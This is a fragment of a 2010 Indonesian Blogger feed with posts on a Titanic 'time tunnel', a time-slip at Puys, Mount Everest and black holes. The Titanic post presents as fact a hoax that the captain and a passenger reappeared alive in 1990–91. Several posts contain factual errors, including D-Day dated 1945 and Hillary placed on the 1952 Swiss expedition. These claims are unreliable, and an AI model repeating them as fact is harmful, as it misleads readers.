/&gt;&lt;br /&gt;&lt;br /&gt;Referensi:&lt;br /&gt;&lt;i&gt;&lt;span style="color: darkgreen;"&gt;Az-Zuhaily, Tafsir Al-Munir.&lt;br /&gt;Dr. Thaha Ad-Dasuqy, ‘Aqidatuna Wa Shilatuha Bil Kaun Wal Insan Wal Hayat, Darul Huda, Kairo, 1995.&lt;br /&gt;Syekh Sya’ban ‘Abdulhadi Abu Rabah, Islamiyat, Haqaiq Fi Dzilli Tauhid  Al-Ara Al-Islamiyah, Muassasah Al-’Arabiyah Al-Haditsiyah, Kairo, 1991.&lt;/span&gt;&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-4496499455212030682?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/4496499455212030682'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/4496499455212030682'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/misteri-tembok-yajuj-majuj.html' title='MISTERI TEMBOK YA&apos;JUJ MA&apos;JUJ'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-3959436316598290024</id><published>2010-11-28T17:31:00.002+07:00</published><updated>2010-11-28T17:31:44.001+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='x file'/><title type='text'>Lorong Waktu yang Menggemparkan</title><content type='html'>&lt;b&gt;Lorong Waktu yang Menggemparkan&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Dua orang korban musibah Kapal Titanic pada tahun 1912, tiba-tiba muncul  dalam keadaan masih hidup. Secara fisik mereka tidak berubah persis  seperti semula. Teori lorong waktu telah menjawabnya.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Lorong Waktu yang Menggemparkan&lt;/b&gt;&lt;br /&gt;Misteri peristiwa yang terjadi beberapa tahun yang lalu, dan yang  membuat gempar adalah nasib mujur kemunculan kembali korban Kapal Laut  Titanic yang masih hidup.&lt;br /&gt;&lt;br /&gt;Di antara kedua korban yang beruntung ini, yang satu adalah seorang  penumpang wanita yang ditemukan pada tahun 1990, dan lainnya lagi adalah  seorang kapten kapal Titanic yang ditemukan pada tahun 1991.&lt;br /&gt;&lt;br /&gt;Kapten kapal Smith ditemukan pada tanggal 9 Agustus 1991, setahun  setelah ditemukannya seorang korban yang beruntung bernama Wenny Kathe,  dia diselamatkan dari atas gunung es. Selama berpuluh-puluh tahun hanyut  terapung-apung di atas lautan, namun tidak membuatnya kelihatan tua dan  lemah, Kapten Smith yang meskipun telah berusia 139 tahun, namun masih  tampak seperti orang yang berusia 60 tahun lebih, dan bahkan dia masih  menganggap bahwa saat itu adalah masa-masa sekitar tenggelamnya Kapal  Titanic pada tanggal 15 April 1912.&lt;br /&gt;&lt;br /&gt;Melalui identifikasi sidik jari yang masih tersimpan dalam catatan pelayaran laut, maka bisa dipastikan identitas Kapten Smith.&lt;br /&gt;&lt;br /&gt;Seorang lagi korban musibah Kapal Titanic, Wenny Kathe yang berusia 29  tahun diselamatkan di atas gumpalan es Samudera Atlantik Utara pada  tanggal 24 September 1990.&lt;br /&gt;&lt;br /&gt;Namun yang membuat orang terkejut adalah sejak dia hilang pada tahun  1912 hingga sekarang, tidak terlihat tanda-tanda tua sedikitpun juga.&lt;br /&gt;&lt;br /&gt;Dia ditemukan dan diselamatkan di atas gumpalan es 363 km barat daya  Islandia. Kantor pelayaran telah menemukan daftar nama penumpang Kapal  Titanic dan menegaskan keaslian identitas dirinya.&lt;br /&gt;&lt;br /&gt;Smith, kapten kapal Titanic dan penumpangnya Wenny Kathe adalah saksi  hidup orang hilang yang muncul kembali melalui lintasan lorong waktu.&lt;br /&gt;&lt;br /&gt;Oleh karena mereka menghilang dan muncul kembali secara misterius, maka hal ini sangat menarik perhatian orang banyak.&lt;br /&gt;&lt;br /&gt;Ilmuwan Amerika Ado Snandick berpendapat, mata manusia tidak bisa  melihat keberadaan suatu benda dalam ruang lain, itulah obyektifitas  keberadaan lorong waktu.&lt;br /&gt;&lt;br /&gt;Dalam sejarah, orang, kapal-kapal, pesawat terbang dan lain-lain  sebagainya yang hilang secara misterius seperti yang sering kita dengar  di perairan Segitiga Bermuda, sebenarnya adalah masuk ke dalam lorong  waktu yang misterius ini.&lt;br /&gt;&lt;br /&gt;Dalam penyelidikannya terhadap lorong waktu, John Buckally mengemukakan teori hipotesanya sebagai berikut.&lt;br /&gt;&lt;br /&gt;Pertama, obyektifitas keberadaan lorong waktu adalah bersifat  kematerialan, tidak terlihat, tidak dapat disentuh, tertutup untuk dunia  fana kehidupan umat manusia, namun tidak mutlak, karena terkadang ia  akan membukanya.&lt;br /&gt;&lt;br /&gt;Kedua, lorong waktu dengan dunia manusia bukanlah suatu sistem waktu,  setelah memasuki seperangkat sistem waktu, ada kemungkinan kembali ke  masa lalu yang sangat jauh, atau memasuki masa depan, karena di dalam  lorong waktu tersebut, waktu dapat bersifat searah maupun berlawanan  arah, bisa bergerak lurus juga bisa berbalik, dan bahkan bisa diam  membeku.&lt;br /&gt;&lt;br /&gt;Ketiga, terhadap dunia fana (ruang fisik kita) di bumi, jika memasuki  lorong waktu, berarti hilang secara misterius, dan jika keluar dari  lorong waktu itu, maka artinya adalah muncul lagi secara misterius.&lt;br /&gt;&lt;br /&gt;Disebabkan lorong waktu dan bumi bukan merupakan sebuah sistem waktu,  dan karena waktu bisa diam membeku, maka meskipun telah hilang selama 3  tahun, 5 tahun, bahkan 30 atau 50 tahun, waktunya sama seperti dengan  satu atau setengah hari.&lt;br /&gt;&lt;br /&gt;Dalam ajaran Buddha terdapat satu bait penuturan: “Bagaikan sehari di  kahyangan, tapi rasanya sudah ribuan tahun lamanya di bumi‿, tampaknya  memiliki makna kebenaran yang sangat dalam.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-3959436316598290024?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/3959436316598290024'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/3959436316598290024'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/lorong-waktu-yang-menggemparkan.html' title='Lorong Waktu yang Menggemparkan'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-3857723728930460740</id><published>2010-11-28T17:22:00.002+07:00</published><updated>2010-11-28T17:22:31.382+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='x file'/><title type='text'>3 Jam Terjebak di Masa Silam</title><content type='html'>&lt;b&gt;3 Jam Terjebak di Masa Silam&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Tanggal 4 Agustus 1951, fajar belum lagi menyingsing. Laut bergemuruh  oleh derai ombak yang menghantam karang di kawasan pesisir Puys,  Prancis. Subuh yang tenang dan damai. Namun hari itu berubah menjadi  pengalaman menakutkan bagi dua turis perempuan asal Inggris yang sedang  berlibur di Puys.&lt;br /&gt;&lt;br /&gt;Puys, sebuah desa tepi pantai dekat pelabuhan Dieppe di Normandy,  Prancis menjadi lokasi wisata alternatif dengan pemandangan pantai,  beting, dan tebing karang. Romantis untuk sebagian orang yang suka laut.  Hal ini yang mendorong dua turis perempuan itu memilih Puys sebagai  tempat liburan musim gugur. Namun pengalaman liburan itu menjadi  kenangan tak terlupakan bagi mereka.&lt;br /&gt;&lt;br /&gt;Subuh hari itu, kedua turis perempuan itu terbangun oleh gaduhnya suara  tembakan gencar. Suara itu semakin menguat dengan rentetan tembakan yang  semakin gencar disusul jeritan dan tangisan yang sangat kacau, lalu  terdengar dengung sejumlah pesawat pembom, ledakan bom, tembakan mortir  dan tembakan, teriakan… Keduanya kaget bukan kepalang. Mereka kini  seolah berada di tengah kancah pertempuran hebat.&lt;br /&gt;&lt;br /&gt;Suara demi suara pertempuran itu tetap menggema dan terdengar jelas oleh  mereka. Namun mereka tak berani bergeming keluar dari kamarnya. Hanya  tiarap dan bersembunyi ketakutan di sudut kamar. Tubuh menggigil akibat  suara tembakan dan ledakan yang kadang terdengar sangat dekat, atau  suara-suara perintah khas militer dalam bahasa Inggris dan Jerman,  jeritan kesakitan, dan isak tangis.&lt;br /&gt;&lt;br /&gt;Selama kurang lebih tiga jam mereka mendengar jelas semua suara  pertempuran di luar sana. Sampai akhirnya suara-suara mengerikan itu  semakin samar… samar… dan hilang! Debur gelombang menghantam karang  sayup kembali terdengar. Fajar sudah menyingsing.&lt;br /&gt;&lt;br /&gt;Setelah menenangkandiri, keduanya kemudian memberanikan diri keluar  kamar. Dengan takut-takut mereka mengintip keluar jendela. Pemandangan  di luar sana normal. Tak ada bekas pertempuran baru sama sekali. Hanya  rumah, karang, pantai, pepohonan… suasana hariandi Puys.&lt;br /&gt;&lt;br /&gt;Keduanya kemudian bertanya-tanya kepada beberapa orang yang berada di  dkat sana, apakah mereka mendengar suara pertempuran barusan? Semua  hanya menggeleng dengan wajah bingung. Tak ada kegaduhan apapun apalagi  suara tembakan dan ledakan bom. Seorang penduduk lokal yang agak tua  mengatakan tak ada pertempuran baru di Normandia setelah D-Day  "Operation Overlord" (1945) dan Operation Jubilee (1942). Sang kakek  menjelaskan bahwa Pelabuhan Dieppe, Puys and Pourville merupakan titik  pendaratan pasukan gabungan Sekutu (Inggris, Kanada, AS dan Polandia)  dalam Operation Jubille 19 Agustus 1942.&lt;br /&gt;&lt;br /&gt;Lantas, apakah yang sebenarnya terjadi? Kedua turis Inggris itu tak  mengerti. Mereka sangat yakin bahwa apa yang mereka dengar adalah sebuah  pertempuran yang bahkan seolah bisa mereka lihat. Dalam kebingungan,  mereka kemudian membuat laporan ke otoritas setempat mengenai fenomena  tersebut. Mulanya laporan itu diabaikan, namun akhirnya sebuah lembaga  khusus di Inggris tertarik akan hal tersebut.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Detail yang Mencengangkan&lt;/b&gt;&lt;br /&gt;British Society of Psychical Research lah yang kemudian melakukan riset  dan penelitian terhadap fenomena tersebut. Mereka sangat yakin bahwa apa  yang dialami dua turis perempuan Inggris itu adalah bagian dari misteri  alam yang tidak terpecahkan. Namun mereka punya asumsi, kemungkinan  keduanya telah terjebak dalam "kedutan waktu". Suatu fenomena terbukanya  semacam portal energi di suatu tempat yang memungkinkan orang bisa  merasakan apa yang telah terjadi di masa lalu. Benarkah?&lt;br /&gt;&lt;br /&gt;Mungkin saja benar. Karena penelitian terhadap laporan perempuan itu  memang menunjukkan kesamaan peristiwa dengan kejadian nyata di Puys  dalam gelar Operation Jubilee, yaitu operasi tempur pendaratan Sekutu di  Normandia untuk memukul Jerman yang bercokol di Prancis pada 19 Agustus  1942. Operasi itu gagal dan kemudian menjadi bahan pertimbangan penting  untuk gelar operasi tempur berikutnya "Operation Overlord" D-Day 6 Juni  1945 yang sukses mengalahkan dominasi Jerman di Prancis.&lt;br /&gt;&lt;br /&gt;Bukti-bukti kebenaran akurasi cerita kedua turis itu dibuktikan dengan  kros cek terhadap arsip data rahasia militer yang tidak pernah  dipublikasikan. Hasilnya ada sejumlah besar persamaan persitiwa yang  mencengangkan semua pihak.&lt;br /&gt;&lt;br /&gt;Walau pun kedua perempuan itu mengetahui kisah tentang Operasi Jubilee  di Dieppe dari banyak literatur saat itu, mereka tak akan mendapat  detail penting seperti yang tercantum dalam arsip rahasia militer itu.  Namun kenyataannya mereka memapar data detail yang hampir persis sama  dengan arsip militer tersebut.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-3857723728930460740?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/3857723728930460740'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/3857723728930460740'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/3-jam-terjebak-di-masa-silam.html' title='3 Jam Terjebak di Masa Silam'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-6283759454597928525</id><published>2010-11-28T17:20:00.002+07:00</published><updated>2010-11-28T17:20:32.779+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='[JEPE] Jejak Petualang'/><title type='text'>Mount Everest</title><content type='html'>&lt;b&gt;Mount Everest&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Dunia punya banyak fenoma alam. Ada air terjun Niagara, pegunungan es  Alpen, wilayah bersalju Eskimo, dan tentu saja Mount Everest yang berada  di pegunungan Himalaya.&lt;br /&gt;&lt;br /&gt;Yang utama diingat orang, tentu, Everest adalah gunung tertinggi di  jagat raya. Tingginya mencapai 8.850 meter di atas permukaan laut. Mari  kita bandingkan dengan Gunung Sibayak yang terletak di dataran tinggi  Karo dengan ketinggian 2.094. Artinya puncak Everest 4 kali lebih tinggi  dari Gunung Sibayak.&lt;br /&gt;&lt;br /&gt;Demikian tingginya puncak Everest ini sampai yang berpendapat jika  everest dimasukkan ke dalam palung laut terdalam di dunia sekalipun,  puncaknya masih bisa terlihat.&lt;br /&gt;&lt;br /&gt;Letak Everest tak lazim, berada di tiga wilayah berbeda: Nepal dan  Tibet. Puncak Everest, karena letaknya itu, menandai perbatasan Nepal  dan Tibet. Orang Nepal menyebutnya Sagarmatha atau ‘dahi langit’. Orang  Tibet menjulukinya Chomolangma atau ‘Bunda Semesta’ yang diambil dari  nama China Zhunulangma Feng.&lt;br /&gt;&lt;br /&gt;Konon gunung ini tercipta jutaan tahun lalu akibat terjadinya tabrakan  dahsyat antara lempengan India dan Asia. Dalam proses perjalanannya  gunung ini menjadi gunung tertinggi dan bersuhu sangat dingin dengan  titik dingin di bawah 0 derajat celcius. Saking dinginnya, tidak satu  hewan dan tumbuhan pun yang bisa bertahan hidup. Ribuan tahun lamanya di  peta dunia gunung ini belum diberi nama.&lt;br /&gt;&lt;br /&gt;Everest ditemukan oleh Sir George Everest pada 1841. Surveyor asal  Inggris itulah yang pertama menemukan lokasi Everest. Nama Everest  sendiri digagas Sir Andrew Waugh, penerusnya.&lt;br /&gt;Sementara orang pertama yang menyatakan Everest sebagai gunung tertinggi  di dunia adalah Radhanath Sikdar, juru ukur dan pakar matematika asal  Bengal. Ia melakukannya lewat perhitungan trigonometrik pada 1852 dengan  menggunakan teodolit di India dari jarak 150 mil.&lt;br /&gt;&lt;br /&gt;Ketika pertama kali diukur pada 1856, Mount Everest tercatat setinggi  8.839 meter di atas permukaan laut. Lalu, direvisi lagi menjadi 8.840  meter atau 29.002 kaki. Tambahan 0,6 meter atau 2 kaki itu menunjukkan,  di masa itu ketinggian yang tepat akan dianggap sebagai perkiraan yang  dibulatkan. Sementara perkiraan umum yang digunakan saat ini diperoleh  melalui bacaan Sistem Posisi Global (GPS). Gunung Himalaya, misalnya,  masih terus bertambah tinggi akibat pergerakan lempeng tektonik kawasan  itu.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Pencapaian Puncak Tertinggi di Dunia&lt;/b&gt;&lt;br /&gt;Pertengahan abad 19 cerita tentang puncak tertinggi di dunia telah  tersiar ditelinga masyarakat dunia. Pendaki gunung berkaliber dunia  sangat tertantang untuk menaklukkan ketinggi gunung ini.&lt;br /&gt;Upaya ekspedisi ke Everest sendiri telah dimulai sejak tahun 1893 oleh  Inggris, namun tidak pernah menuai keberhasilan, ini dikarenakan oleh  pihak Tibet dan Nepal tidak memberikan izin. Baru di tahun 1920 akhirnya  Inggris berhasil memperoleh izin dari pemerintah Tibet untuk melakukan  ekspedisi.&lt;br /&gt;&lt;br /&gt;Tahun 1921 di bulan Maret, ekspedisi ke Everest pertama kali dilakukan  oleh Inggris. Ini merupakan ekspedisi pertama di dunia dalam usaha  mencapai puncak Everest. Ekspedisi yang dipimpin George Mallory  bertujuan untuk mengeksplorasi jalur pendakian mencapai puncak Everest.&lt;br /&gt;&lt;br /&gt;Dalam jangka waktu 30 tahun sejak tahun 1921 itu setidaknya ada 10  ekspedisi yang telah dilakukan. Namun ke-10 eksepedisi ini berakhir  dengan kegagalan bahkan telah merenggut nyawa para pendaki.&lt;br /&gt;&lt;br /&gt;Bahkan di antara pendaki yang tewas itu adalah George Mallory dan  Irvine. Mereka ketika itu tergabung dalam ekspedisi ke-3 Inggris pada  tahun 1924. 8 Juni 1924 kabar tentang kehilangan Mallory dan Irvin  tercuat. Baru di tahun 1933 kapak es Irvine ditemukan pada ketinggian  8.230 meter. Dan 73 tahun setelah hilang (tahun 1999) giliran jasad  Malorry ditemukan secara utuh bersama kaca mata salju, altimeter dan  pisau lipat.&lt;br /&gt;Setelah ekspedisi Inggris yang ke-3 itu gagal, daerah Tibet dan Nepal ditutup untuk orang asing.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Siapa penakluk pertama puncak Everest?&lt;/b&gt;&lt;br /&gt;Tahun 1952 kabar mengenai Everest kembali tersiar, lewat tim Ekspedisi  Swiss yang ingin mencapai titik tertinggi. Ekspedisi ini berakhir dengan  kegagalan dan hanya berhasil mengantarkan dua orang dalam timnya yaitu  Sir Edmund Hillary dan Tenzing Norgay mencapai ketinggian 8.550 meter.&lt;br /&gt;&lt;br /&gt;Setelah kegagalan itu Swiss, Inggris kembali menyiapkan tim untuk  ekspedisi di tahun berikutnya. Tim Inggris yang dibentuk kali ini  dipimpin oleh seorang colonel John Hunt yang beranggotakan 10 pendaki  dan seorang dokter. Ekspedisi yang dilakukan Inggris, ini merupakan yang  ke-11 dalam usaha pencapaian puncak Everest.&lt;br /&gt;&lt;br /&gt;Sir Edmund Hillary dan Tenzing Norgay masuk dalam kelompok itu. Dalam  perjalanan ini, cuaca buruk terus membayanginya, badai salju yang  berlangsung sehari-semalam tak juga reda akibatnya 4 pengangkut beban  mengundurkan diri karena buta salju.&lt;br /&gt;&lt;br /&gt;Di tengah situasi buruk itu, Hillary dan Tenzing mencoba memberanikan  diri untuk melanjutkan pendakian. Semangat itu terbayar tuntas. Keduanya  berhasil mencapai puncak Everest. Sejarah kemudian mencatat Hillary dan  Tenzing adalah orang pertama yang berhasil menaklukkan Everest pada 29  Mei 1953 atau 55 tahun lalu.&lt;br /&gt;&lt;br /&gt;Yang perlu dicatat, sejak Everest telah disentuh oleh manusia melalui  ekspedisi yang diawali pada tahun 1921, Everest telah menewaskan 130  orang hingga tahun 1996.&lt;br /&gt;&lt;br /&gt;Orang tahu bahwa untuk berdiri di puncak Everest tidaklah mudah karena  butuh biaya yang mahal, pengalaman mendaki, keberanian dan sebagian  orang mengatakan bahwa orang-orang yang melampiaskan keinginannya  berjalan menuju Everes adalah orang yang tidak berpikir sehat.&lt;br /&gt;Sebagian orang tahu tentang hal itu, namun sebuah kenyataan yang sulit  untuk di mengerti dalam jiwa para petualang tentang mengapa mereka  melakukan kegilaan itu. Mallory jika menjawab pertanyaan ini akan  menjawabnya: “Karena gunung itu ada di sana”.&lt;br /&gt;&lt;br /&gt;&lt;img alt="" border="0" src="http://www.harian-global.com/e107_images/newspost_images/080823_gunung.jpg" /&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-6283759454597928525?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/6283759454597928525'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/6283759454597928525'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/mount-everest.html' title='Mount Everest'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-8000357057675710207</id><published>2010-11-28T17:07:00.000+07:00</published><updated>2010-11-28T17:07:41.496+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='x file'/><title type='text'>black hole</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_lcn1O_24jBE/TPIpx3Awu9I/AAAAAAAAASE/3k-yFgvzYGc/s1600/blakhple.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_lcn1O_24jBE/TPIpx3Awu9I/AAAAAAAAASE/3k-yFgvzYGc/s1600/blakhple.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;Black Hole&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Dengan Gaya gravitasinya yang sangat spektakuler lubang hitam adalah  monster kosmis tersendiri. Jurang ketiadaan ini bahkan melenyapkan  cahaya.&lt;br /&gt;&lt;br /&gt;Lubang hitam (black hole) sering dihubungkan dengan hilangnya  benda-benda kosmis bahkan wahana udara sekalipun, seperti pernah  disinggung dalam rubrik ini berkaitan dengan hilangnya banyak pesawat di  Segitiga Bermuda dan Samudera Atlantik Utara. Pro dan kontra pendapat  mengenai hal ini memang tak pernah surut. Cerita seputar Segitiga  Bermuda pun sepertinya tetap misterius, dan menjadi bahan tulisan yang  tidak ada habis-habisnya.&lt;br /&gt;&lt;br /&gt;Dalam bahasan fenomena kali ini, baiklah kita tinjau sedikit apa  sebenarnya lubang hitam atau yang disebut para ilmuwan sebagai  singularitas dari bintang redup yang mengalami keruntuhan gravitasi  (gravitational collapse) sempurna ini.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;black-hole&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Bila ditelusuri istilah lubang hitam, sebenarnya belum lah lama populer.  Dua kata ini pertama kali diangkat oleh fisikawan AS bernama John  Archibald Wheeler pada tahun 1968. Wheeler memberi nama demikian karena  singularitas ini tak bisa dilihat. Mengapa demikian? Penyebabnya tidak  lain karena cahaya tak bisa lepas dari kungkungan gravitasi singularitas  yang maha dahsyat ini. Daerah di sekitar singularitas atau lazimnya  disebut sebagai Horizon Peristiwa (radiusnya dihitung dengan rumus  jari-jari Schwarzschild R = 2GM/C2 dimana G = 6,67 x 10-11 Nm2kg-2, M =  kg massa lubang hitam, C = cepat rambat cahaya) menjadi gelap. Itulah  sebabnya, wilayah ini disebut sebagai lubang hitam.&lt;br /&gt;&lt;br /&gt;Dengan tidak bisa lepasnya cahaya, serta merta sekilas kita bisa  membayangkan sendiri kira-kira seberapa besar gaya gravitasi dari lubang  hitam. Untuk mulai menghitungnya, ingatlah bahwa cepat rambat cahaya di  alam mencapai 300 juta meter per detik. Masya Allah. Lalu, apalah  jadinya bila benar sebuah wahana buatan manusia tersedot ke dalam lubang  hitam? Dalam hitungan sepersejuta detik saja, tentunya dapat dipastikan  wahana tersebut sudah remuk menjadi bubur.&lt;br /&gt;&lt;br /&gt;Lebih dua ratus tahun silam, atau tepatnya pada tahun 1783. pemikiran  akan adanya monster kosmis bersifat melenyapkan benda lainnya ini  sebenarnya pernah dilontarkan oleh seorang pendeta bernama John  Mitchell. Mitchell yang kala itu mencermati teori gravitasi Isaac Newton  (1643-1727) berpendapat, bila bumi punya suatu kecepatan lepas dari  Bumi 11 km per detik (sebuah benda yang dilemparkan tegak lurus ke atas  baru akan terlepas dari pengaruh gravitasi bumi setelah melewati  kecepatan ini), tentu ada planet atau bintang lain yang punya gravitasi  lebih besar. Mitchell malah memperkirakan di kosmis terdapat suatu  bintang dengan massa 500 kali matahari yang mampu mencegah lepasnya  cahaya dari permukaannya sendiri.&lt;br /&gt;&lt;br /&gt;Lalu, bagaimana sebenarnya lubang hitam tercipta? Menurut teori evolusi  bintang (lahir, berkembang, dan matinya bintang), buyut dari lubang  hitam adalah sebuah bintang biru. Bintang biru merupakan julukan bagi  deret kelompok bintang yang massanya lebih besar dari 1,4 kali massa  matahari. Disebutkan para ahli fisika kosmis, ketika pembakaran hidrogen  di bintang biru mulai usai (kira-kira memakan waktu 10 juta tahun), ia  akan berkontraksi dan memuai menjadi bintang maha raksasa biru.  Selanjutnya, ia akan mendingin menjadi bintang maha raksasa merah. Dalam  fase inilah, akibat tarikan gravitasinya sendiri, bintang maha raksasa  merah mengalami keruntuhan gravitasi menghasilkan ledakan dahsyat atau  biasa disebut sebagai Supernova.&lt;br /&gt;&lt;br /&gt;Supernova ditandai dengan peningkatan kecerahan cahaya hingga miliaran  kali cahaya bintang biasa kemudian melahirkan dua kelas bintang, yakni  bintang netron dan lubang hitam. Bintang netron (disebut juga Pulsar  atau bintang denyut) terjadi bila massa bintang runtuh lebih besar dari  1,4 kali, tapi lebih kecil dari tiga kali massa matahari. Sementara  lubang hitam mempunyai massa bintang runtuh lebih dari tiga kali massa  matahari. Materi pembentuk lubang hitam kemudian mengalami pengerutan  yang tidak dapat mencegah apapun darinya. Bintang menjadi sangat mampat  sampai menjadi suatu titik massa yang kerapatannya tidak terhingga, yang  disebut singularitas tadi.&lt;br /&gt;&lt;br /&gt;Di dalam kaidah fisika, besaran gaya gravitasi berbanding terbalik  dengan kuadrat jarak atau dirumuskan F µ 1/r2. Dari formula inilah kita  bisa memahami mengapa lubang hitam mempunyai gaya gravitasi yang maha  dahsyat. Dengan nilai r yang makin kecil atau mendekati nol, gaya  gravitasi akan menjadi tak hingga besarnya.&lt;br /&gt;&lt;br /&gt;Para ilmuwan menghitung, seandainya benda bermassa seperti bumi kita ini  akan menjadi lubang hitam, agar gravitasinya mampu mencegah cahaya  keluar, maka benda itu harus dimampatkan menjadi bola berjari-jari 1 cm!  (Allahu Akbar, hanya Tuhan lah yang bisa melakukannya).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Cakram gas&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Dengan sifatnya yang tidak bisa dilihat, pertanyaan kemudian adalah  bagaimana mendeteksi adanya suatu lubang hitam? Kesempatan yang paling  baik untuk mendeteksinya, diakui para ahli, adalah bila ia merupakan  bintang ganda (dua bintang yang berevolusi dan saling mengelilingi).  Lubang hitam akan menyedot semua materi dan gas-gas hasil ledakan  termonuklir bintang di sekitarnya. Dari gesekan internal, gas-gas yang  tersedot itu akan menjadi sangat panas (hingga 2 juta derajat!) dan  memancarkan sinar-X. Dari sinar-X inilah para ahli memulai langkah untuk  menjejak lubang hitam.&lt;br /&gt;&lt;br /&gt;Pada 12 Desember 1970, AS meluncurkan satelit astronomi kecil (Small  Astronomical Satellite SAS) pendeteksi sinar-X di kosmis bernama Uhuru  dari lepas pantai Kenya. Dari hasil pengamatannya didapatkan bahwa  sebuah bintang maha raksasa biru, yakni HDE226868 yang terletak dalam  konstelasi Cygnus (8.000 tahun cahaya dari bumi) mempunyai pasangan  bintang Cygnus X-1, yang tidak dapat dideteksi secara langsung.&lt;br /&gt;&lt;br /&gt;Cygnus X-1 menampakkan orbitnya berupa gas-gas hasil ledakan termonuklir  HDE226868 yang bergerak membentuk sebuah cakram. Cygnus X-1  diperhitungkan berukuran lebih kecil dari Bumi, tapi memiliki massa enam  kali lebih besar dari massa matahari. Bintang redup ini telah diyakini  para ilmuwan sebagai lubang hitam. Selain Cygnus X-1, Uhuru juga  mendapatkan sumber sinar-X kosmis, yakni Cygnus X-3 dalam konstelasi  Centaurus dan Lupus X-1 dalam konstelasi bintang Lupus. Dua yang disebut  terakhir belum dipastikan sebagai lubang hitam, termasuk 339 sumber  sinar-X lainnya yang dideteksi selama 2,5 tahun masa operasi Uhuru.&lt;br /&gt;&lt;br /&gt;Eksplorasi sumber sinar-X di kosmis masih dilanjutkan oleh satelit HEAO  (High Energy Astronomical Observatory) atau Einstein Observatory tahun  1978. Satelit ini menemukan bintang ganda yang lain dalam konstelasi  Circinus, yakni Circinus X-1 serta V861 Scorpii dan GX339-4 dalam  konstelasi bintang Scorpius.&lt;br /&gt;&lt;br /&gt;Tahun 1999, dengan biaya 2,8 milyar dollar, AS masih meluncurkan  teleskop Chandra, guna menyingkap misteri lubang hitam. The Chandra  X-ray Observatory sepanjang 45 kaki milik NASA ini telah berhasil  membuat ratusan gambar resolusi tinggi dan menangkap adanya  lompatan-lompatan sinar-X dari pusat galaksi Bima Sakti berjarak 24.000  tahun cahaya dari Bumi. Mencengangkan, karena bila memang benar demikian  (lompatan sinar-X itu) menunjukkan adanya sebuah lubang hitam di  jantung Bima Sakti, maka teori Albert Einstein kembali benar. Ia  menyatakan, bahwa di jantung setiap galaksi terdapat lubang hitam!&lt;br /&gt;&lt;br /&gt;“Dugaan semacam itu sungguh sangat dekat dengan kenyataan,” kata  Frederick Baganoff yang memimpin penelitian, September 2001, 